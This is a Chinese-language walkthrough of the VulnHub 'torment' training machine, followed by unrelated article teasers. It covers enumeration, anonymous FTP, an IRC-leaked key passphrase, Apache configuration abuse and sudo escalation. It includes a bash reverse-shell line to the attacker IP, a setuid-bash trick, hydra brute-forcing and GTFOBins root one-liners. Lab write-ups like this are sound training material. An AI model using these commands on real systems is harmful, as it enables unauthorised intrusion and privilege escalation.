vulnhub靶场之【digitalworld.local系列】的torment靶机

前言

靶机:digitalworld.local-torment,IP地址为192.168.10.12

攻击:kali,IP地址为192.168.10.6

kali采用VMware虚拟机,靶机选择使用VMware打开文件,都选择桥接网络

这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware直接加载,也给出了iso镜像文件。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过网盘下载 https://pan.quark.cn/s/86cf8a398835

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

扫描tcp端口,并保存于nmap-tcp

nmap -sT 192.168.10.12 --min-rate=1000  -p- -T4 -oA nmap-tcp

扫描常见的20个udp端口,不过这里的端口明显处于open的很少

nmap -sU 192.168.10.12 --top-ports 20 -T4 -oA nmap-udp

把前面扫描出的tcp端口,进行处理,只取端口号

grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
ports=21,22,25,80,111,139,143,445,631,2049,6667,6668,6669,6672,6674,36207,38881,48111,53545

对特定的端口号进行深入探测

nmap -sV -O -sC -sT 192.168.10.12 -p $ports -oA detail

6

7

对特定的端口号进行漏洞检测,其他服务并没有内容,只有631端口进行的http枚举

nmap --script=vuln 192.168.10.12 -p $ports -oA vuln

FTP服务探测

之前使用nmap扫描时,确定是可以匿名登录的,那么直接登录测试

ftp anonymous@192.168.10.12

下载所有文件到kali

ftp> prompt
ftp> mget *

但是有三个文件不能下载group.bak、gshadow.bak、passwd.bak、shadow.bak,因为权限不够,是以匿名用户登录的,所属者为ftp

获取到的文件,都是安装所需的,用不到

尝试以telnet登录,测试site是否可以复制,但是不行,因为这里采用的是vsftpd

80端口网站探测

访问80端口界面,就是默认的apache2安装后的界面,查看页面源代码,也没有信息泄露

使用gobuster进行目录爆破,当然采用其他工具也行,如dirb、dirsearch

gobuster dir -u http://192.168.10.12 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,s,.,.html -b 403-404

这里虽然没有扫描完毕,但是这个目录属实是吸引目光,访问查看,只有一段话,页面源代码中也没有信息。好好好,确实痛苦

nfs服务探测

之前扫描的时候发现有nfs服务,并有大量的rpcbind,说明这个nfs应该在用

使用nmap先探测一下

nmap --script=nfs* 192.168.10.12

使用showmount再测试

showmount -e 192.168.10.12

两个,那么尝试使用mount挂载到kali

mount -t nfs 192.168.10.12:/var/torture ./tor
mount -t nfs 192.168.10.12:/var/public ./pub

但是查看后,发现这里面的文件都是空白的,暂时搁置

smb服务探测

使用nmap的脚本进一步检测

nmap --script=smb* 192.168.10.12

虽然有分享,但是使用smbclient连接不了,也就是可能匿名方式不支持

再使用enum4linux枚举,发现没有任何信息枚举出

暂时搁置

631端口网站探测

前面扫描出的631端口的服务是ipp,网络打印服务。这个可以百度一下

访问631端口界面

使用whatweb探测一下

whatweb http://192.168.10.12:631

使用gobuster进行网站目录爆破

gobuster dir -u http://192.168.10.12:631 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,s,.,.html -b 403-404

这次的文件有点太多了

测试之后,明显不对,这个就不对

在网站中随便点击,发现了一个可能包括用户名的界面printers

使用cewl爬取

cewl https://192.168.10.12:631/printers/ -w word -m 3

为了后续使用,再生成一个全部小写的文件

tr '[:upper:]' '[:lower:]' < word > words

然后使用searchsploit搜索有无对应的漏洞,但是版本对应不上

所以暂且到这里

FTP再探

这里为什么再探呢,因为到这里,感觉没有可利用的点了, 所以回头看了一下,发现个严重的问题,我在连接FTP时,使用的ls命令,并没有展现出隐藏目录,啧

再次连接FTP,使用ls -al

最终查看到.ngircd、.ssh目录下有文件

查看id_rsa,这个不知道谁的私钥

查看channel,发现是两串字符

IRC服务探测

根据前面扫描结果,第一次碰到这个服务,于是搜索了一下

IRC 即互联网中继聊天(Internet Relay Chat),是一种通过网络进行实时交流的通信协议和相关服务

ngircd 是一种开源的、轻量级且可移植的互联网中继聊天(IRC)服务器软件

那么很可能这个channels中的结果对应bgircd,毕竟在ftp中,是在这个目录下的

首先需要安装个可以通过这个服务连接的软件,这里搜索了一下,最终只有pidgin便于安装,并且好用一些

apt-get update
apt-get install pidgin

安装后,输入pidgin启动

26

这里的密码,并不是随便的,可以自己网上搜索,或者按照ngircd后,会有配置文件,查看即可获取密码

cat /etc/ngircd/ngircd.conf

密码保存后,点击buddies菜单,点击join a chat,可能刚开始是无法点击的,可以自己测试,我忘了点击哪里后可以加入了。然后输入频道channels,这里测试#games,发现无内容

再加入频道#tormentedprinter测试,发现可行,并且获取到一个密码mostmachineshaveasupersecurekeyandalongpassphrase

根据内容来看,可能是打印机网络界面的登录的密码,不过在尝试爆破后,却没有可用的

hydra 192.168.10.12 http-get -L words -p mostmachineshaveasupersecurekeyandalongpassphrase /admin/log/access_log -m "Authorization: Basic %u:%p" -s 631

smtp用户枚举

这个需要用到一个工具smtp-user-enum,当然,这是kali自带的,不过这个枚举需要自己提供字典

这里使用kaliwfuzz中自带的一个字典

smtp-user-enum -U /usr/share/wordlists/wfuzz/others/names.txt -t 192.168.10.12

枚举出的patrick用户与前面在打印机网站中包含的一样,也就是这个patrick大概率是系统中的用户

信息总结

当前所获取到的有一个id_rsa文件,一个patrick用户是确定的

一个密码mostmachineshaveasupersecurekeyandalongpassphrase

这是经过很多的测试所获取的

ssh连接

根据前面获取的信息,尝试登录patrick

发现直接以密码登录是不行的,使用id_rsa文件进行登录

别忘记更改id_rsa文件的权限

输入id_rsa的密码,也就是mostmachineshaveasupersecurekeyandalongpassphrase测试

发现登录成功

靶机内信息收集

查看当前目录,并未有信息,那么查看有哪些用户,发现还有一个用户qiu

ls -al /home
cat /etc/passwd | grep /bin/bash

qiu的家目录,无权访问,那么继续收集信息

查看ip及网络连接状态

ip add
ss -antlp
netstat -ant

查看定时任务

crontab -l
atq
cat /etc/crontab

使用find寻找具有SUID权限的文件

find / -perm -4000 -print 2>/dev/null

使用sudo -l发现有三个

查看内核版本及系统版本

uname -a/-r
cat /etc/issue
cat /etc/*release
lsb_release

查看以root身份运行的进程,发现apache2服务是以root启动的,并且这里大概率是开机启动

ps -aux | grep root

上传pspy64到靶机,查看有无内容,监控了一会,并没有内容产生

上传linpeas.sh脚本,该脚本在github上有项目,可自行下载https://github.com/peass-ng/PEASS-ng/releases/tag/20250301-c97fb02a

这里使用这个脚本只是收集信息,虽然上面把信息收集的差不多,但是防止漏掉

确实发现apache2的配置文件是可修改的

当然也可以使用命令获取,其他用户具有写权限的文件

find / -type f -perm /o+w 2>/dev/null | grep -v "/proc"

分析sudo

这里sudo -l给出三个

/bin/systemctl poweroff		#关闭靶机
/bin/systemctl halt			#关闭
/bin/systemctl reboot		#重启靶机

既然systemctl可以,尝试能否写一个.service文件,测试后,在/etc/systemd/system目录下不可编辑文件

结合前面apache2是以root运行进程的,并且配置文件可以修改

好好好,我不知道怎么具体使用,但是肯定要修改配置文件吧,百度一下

测试一

尝试修改/etc/apache2/apache2.conf文件,首先创建一个脚本,然后在apache2配置文件中,设置语句,使得重启服务时,执行这个脚本

echo 'chmod +s /bin/bash' > /var/www/html/1.shecho "ExecStartPre=/var/www/html/1.sh" >> apache2.conf

这时候重启靶机,也就是执行sudo /bin/systemctl reboot,但是重启后,并没有使得apache2服务启动,说明在修改配置文件后,若是需要重启,则可能导致失败。并且这样也会使得目标警觉。所以只能换一种方式

测试二

尝试修改apache2的配置文件,添加可以运行cgi脚本

<Directory /var/www/html/cgi-bin>Options +ExecCGIAddHandler cgi-script .cgi
</Directory>

然后在网站根目录创建一个cgi-bin目录,在其中创建一个脚本,大概内容与前面一致,或者设置反弹shell的命令

mkdir cgi-bin
echo 'chmod +s /bin/bash' > /var/www/html/cgi-bin/1.cgi
或者
echo 'bash -i >& /dev/tcp/192.168.10.6/9999 0>&1' > /var/www/html/cgi-bin/1.cgi

然后通过浏览器访问触发。

啧,不过又失败了

网上搜索了一下,大概就是以root身份执行apache2时,所做的命令都是root执行,但是根据目前的情况来看,这是不被允许的,所以需要更换目标用户。

这里的用户在前面信息收集时获取的,有qiu这个用户

修改用户和组配置:在apache2.conf文件中,UserGroup指令用于指定 Apache 服务器运行时使用的用户和组。攻击者将其修改为目标用户 “qiu”,当 Apache 服务器重新启动后,所有由 Apache 执行的进程都将以 “qiu” 用户的身份运行。这意味着,原本以其他权限运行的服务进程,现在被赋予了 “qiu” 用户的权限,从而实现了权限的变更

提权

提权至qiu

修改apache2的配置文件

# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}		
Group ${APACHE_RUN_GROUP}
#在这个位置添加下面两句
User qiu
Group qiu

然后根据前面的直接测试可能不行,那么就通过网站的webshell进行测试吧,首先创建一个反弹shell,这里可以使用kali中自带的一个文件/usr/share/webshells/php/php-reverse-shell.php

只需要修改其中的ip地址为kali的地址即可,反弹的端口可以默认。至于为什么用php语言,啧,自己去测试就知道了。

把这个文件下载到靶机内,保存到可以访问的网站目录/var/www/html

这时候执行sudo /bin/systemctl reboot重启靶机,这样会连带着apache2重启,配置文件可能会重载

这时候在kali使用nc开启一个监听

nc -lvnp 9999

然后使用浏览器访问上传到靶机内的脚本文件

使用dpkg等命令测试是否有python

dpkg -l | grep python

发现有python3那么尝试获取一个交互式的shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

提权至root

使用sudo可以获取到两个文件, 并且不需要密码

若是不知道这两个提权方式,可以访问https://gtfobins.github.io/查看用法

sudo python -c 'import os; os.system("/bin/sh")'

另一个systemctl提权,这个提权方式很多,可以通过.service文件提权,因为这里没有指定特定的服务,只是这个命令,所以是可以扩展使用的

sudo systemctl
!sh

切换到/root目录,查看文件

总结

该靶机考察以下几点:

  1. 对于网站刚开始访问发现没有任何漏洞的时候,不要就此放弃,可能只是当前没有,不代表在提权时没有用处
  2. 对于信息收集,要全面,不要遗漏,这个是真的,遗漏一个就需要很长时间
  3. 对于ngircd协议,这个可以了解,至少知道哪些软件可以通过这个协议去连接
  4. 对于ssh服务,其使用证书连接目标时,会有密码需要验证的,这是在生成公私钥的时候设置的
  5. 对于sudo -l,这个不知道密码的时候,也是可以使用的,因为有的会可以无需密码的
  6. 对于靶机内的信息收集,也是要全面,这里就是通过发现apache2的配置文件具有写权限,所以配合sudo的命令,使得靶机重启,让配置文件可以重载
  7. 通过php的反弹shell可以获取到apache2配置文件中的指定用户qiushell

攻击路线:

FTP–>ngircd–>pidgin加入频道–>SSH登录–>apache2配置文件修改–>qiu用户的反弹shell–>sudo提权至root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/71586.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

docker-compose部署mongodb副本集集群

生成密钥文件 ​ openssl rand -base64 756 > mongodb.key chmod 400 mongodb.key # 权限必须为400‌:ml-citation{ref="4" data="citationList"} chown 999:999 mongodb.key # MongoDB容器用户ID为999‌:ml-citation{ref="4" data="…

k8s v1.28.15部署(kubeadm方式)

k8s部署&#xff08;kubeadm方式&#xff09; 部署环境及版本 系统版本&#xff1a;CentOS Linux release 7.9.2009 k8s版本&#xff1a;v1.28.15 docker版本&#xff1a;26.1.4 containerd版本&#xff1a;1.6.33 calico版本&#xff1a;v3.25.0准备 主机ip主机名角色配置1…

Redis特性总结

一、速度快 正常情况下&#xff0c;Redis 执⾏命令的速度⾮常快&#xff0c;官⽅给出的数字是读写性能可以达到 10 万 / 秒&#xff0c;当然这也取决于机器的性能&#xff0c;但这⾥先不讨论机器性能上的差异&#xff0c;只分析⼀下是什么造就了 Redis 如此之快&#xff0c;可以…

C# Unity 面向对象补全计划 之 索引器与迭代器

本文仅作学习笔记与交流&#xff0c;不作任何商业用途&#xff0c;作者能力有限&#xff0c;如有不足还请斧正 本篇有部分内容出自唐老狮,唐老师网站指路:全部 - 游习堂 - 唐老狮创立的游戏开发在线学习平台 - Powered By EduSoho 目录 1.索引器 2.迭代器 1.索引器 我的理解 索…

深度学习PyTorch之13种模型精度评估公式及调用方法

深度学习pytorch之22种损失函数数学公式和代码定义 深度学习pytorch之19种优化算法&#xff08;optimizer&#xff09;解析 深度学习pytorch之4种归一化方法&#xff08;Normalization&#xff09;原理公式解析和参数使用 深度学习pytorch之简单方法自定义9类卷积即插即用 实时…

C++ Primer 拷贝控制和资源管理

欢迎阅读我的 【CPrimer】专栏 专栏简介&#xff1a;本专栏主要面向C初学者&#xff0c;解释C的一些基本概念和基础语言特性&#xff0c;涉及C标准库的用法&#xff0c;面向对象特性&#xff0c;泛型特性高级用法。通过使用标准库中定义的抽象设施&#xff0c;使你更加适应高级…

【无监督学习】层次聚类步骤及matlab实现

层次聚类 &#xff08;四&#xff09;层次聚类1.算法步骤2.MATLAB 实现参考资料 &#xff08;四&#xff09;层次聚类 层次聚类是一种通过逐层合并或分裂数据点构建树状结构&#xff08;树状图&#xff0c;Dendrogram&#xff09;的聚类方法。它分为两种类型&#xff1a; 凝聚…

02 HarmonyOS Next仪表盘案例详解(一):基础篇

温馨提示&#xff1a;本篇博客的详细代码已发布到 git : https://gitcode.com/nutpi/HarmonyosNext 可以下载运行哦&#xff01; 文章目录 1. 项目概述2. 技术架构2.1 文件结构2.2 ArkTS 语言特性装饰器的使用 3. 数据结构设计3.1 接口定义3.2 数据初始化 4. 生命周期与页面路由…

微信小程序接入deepseek

先上效果 话不多说&#xff0c;直接上代码&#xff08;本人用的hbuilder Xuniapp&#xff09; <template><view class"container"><!-- 聊天内容区域 --><scroll-view class"chat-list" scroll-y :scroll-top"scrollTop":…

istio入门到精通-2

上部分讲到了hosts[*] 匹配所有的微服务&#xff0c;这部分细化一下 在 Istio 的 VirtualService 配置中&#xff0c;hosts 字段用于指定该虚拟服务适用的 目标主机或域名。如果使用具体的域名&#xff08;如 example.com&#xff09;&#xff0c;则只有请求的主机 域名与 exa…

6. PromQL的metric name(在node exporter复制下来交给AI解释的)

目录 前言&#xff1a; Go 运行时指标&#xff1a; Go 内存统计指标&#xff1a; CPU 指标&#xff1a; 内存指标&#xff1a; 磁盘指标&#xff1a; 网络指标&#xff1a; 系统指标&#xff1a; 前言&#xff1a; 写这个得目的是为了后续方便查询&#xff0c;因为在pro…

图像形成与计算机视觉基础

1. 图像形成的基本原理 图像形成是物理世界与传感器&#xff08;如胶片、CCD/CMOS&#xff09;交互的过程&#xff0c;核心是光线的传播与记录。 1.1 直接放置胶片模型 物理原理&#xff1a;物体表面反射的光线直接照射到胶片上&#xff0c;但无任何遮挡或聚焦机制。 问题&a…

Dockerfile概述及编辑

文章目录 Docker 镜像原理操作系统组成部分Docker 镜像原理镜像制作 Dockerfile概念及作用Dockerfile 概念Dockerfile 作用 Dockerfile关键字 案例要求实现步骤 Docker 镜像原理 操作系统组成部分 操作系统组成&#xff1a;进程调度子系统、进程通信子系统、内存管理子系统、…

CES Asia 2025:AR/VR/XR论坛峰会备受瞩目

CES Asia 2025第七届亚洲消费电子技术贸易展&#xff08;赛逸展&#xff09;将在首都北京心盛大举行。作为亚洲极具影响力的消费电子技术展会&#xff0c;此次盛会以“科技重塑生活&#xff0c;创新定义未来”为主题&#xff0c;预计将吸引全球500展商、100,000专业观众参与&am…

【Java线程基础操作详解】

Java线程基础操作详解 前言1. 线程创建1.1 继承Thread类1.2 实现Runnable接口1.3 匿名内部类1.4 lambda表达式 2. 线程中断3. 线程等待4. 线程休眠 前言 在Java编程里&#xff0c;线程是实现多任务处理的关键概念。本文会详细讲解Java中线程的创建、中断、等待以及休眠等操作&…

qt 播放pcm音频

一、获取PCM音频 ffmpeg -i input.mp3 -acodec pcm_s16le -ar 44100 -ac 2 -f s16le output.pcm -acodec pcm_s16le&#xff1a;指定16位小端PCM编码格式&#xff08;兼容性最佳&#xff09;-ar 44100&#xff1a;设置采样率为CD标准44.1kHz&#xff08;可替换为16000/8000等&a…

python实现的可爱卸载动画

在逛掘金时&#xff0c;掘金用户在B站看到的灵感进行的一个卸载窗口的动画效果的实用案例。人类是一种不断在学习的动物&#xff0c;并且是一种模仿能力学习能里比较强的动物。我这里是第三波的学习实践者咯&#xff01; 相对VUE构建动画效果窗口&#xff0c;我更加喜欢用pytho…

出现FullGC的排查思路

一、明确Full GC的触发原因 根据多篇资料&#xff0c;Full GC的触发条件主要包括&#xff1a; 直接调用System.gc()&#xff1a;代码或第三方库&#xff08;如jxl组件&#xff09;可能显式触发。老年代空间不足&#xff1a;大对象直接进入老年代、Minor GC后存活对象过多导致…

【Python运维】 Python与日志管理:构建高效的集中式日志收集与分析系统

《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 在当今信息化时代,日志数据成为企业监控系统健康、优化性能和保障安全的重要资源。传统的分散式日志管理方式不仅效率低下,而且难以应对大…

给没有登录认证的web应用添加登录认证(openresty lua实现)

这阵子不是deepseek火么&#xff1f;我也折腾了下本地部署&#xff0c;ollama、vllm、llama.cpp都弄了下&#xff0c;webui也用了几个&#xff0c;发现nextjs-ollama-llm-ui小巧方便&#xff0c;挺适合个人使用的。如果放在网上供多人使用的话&#xff0c;得接入登录认证才好&a…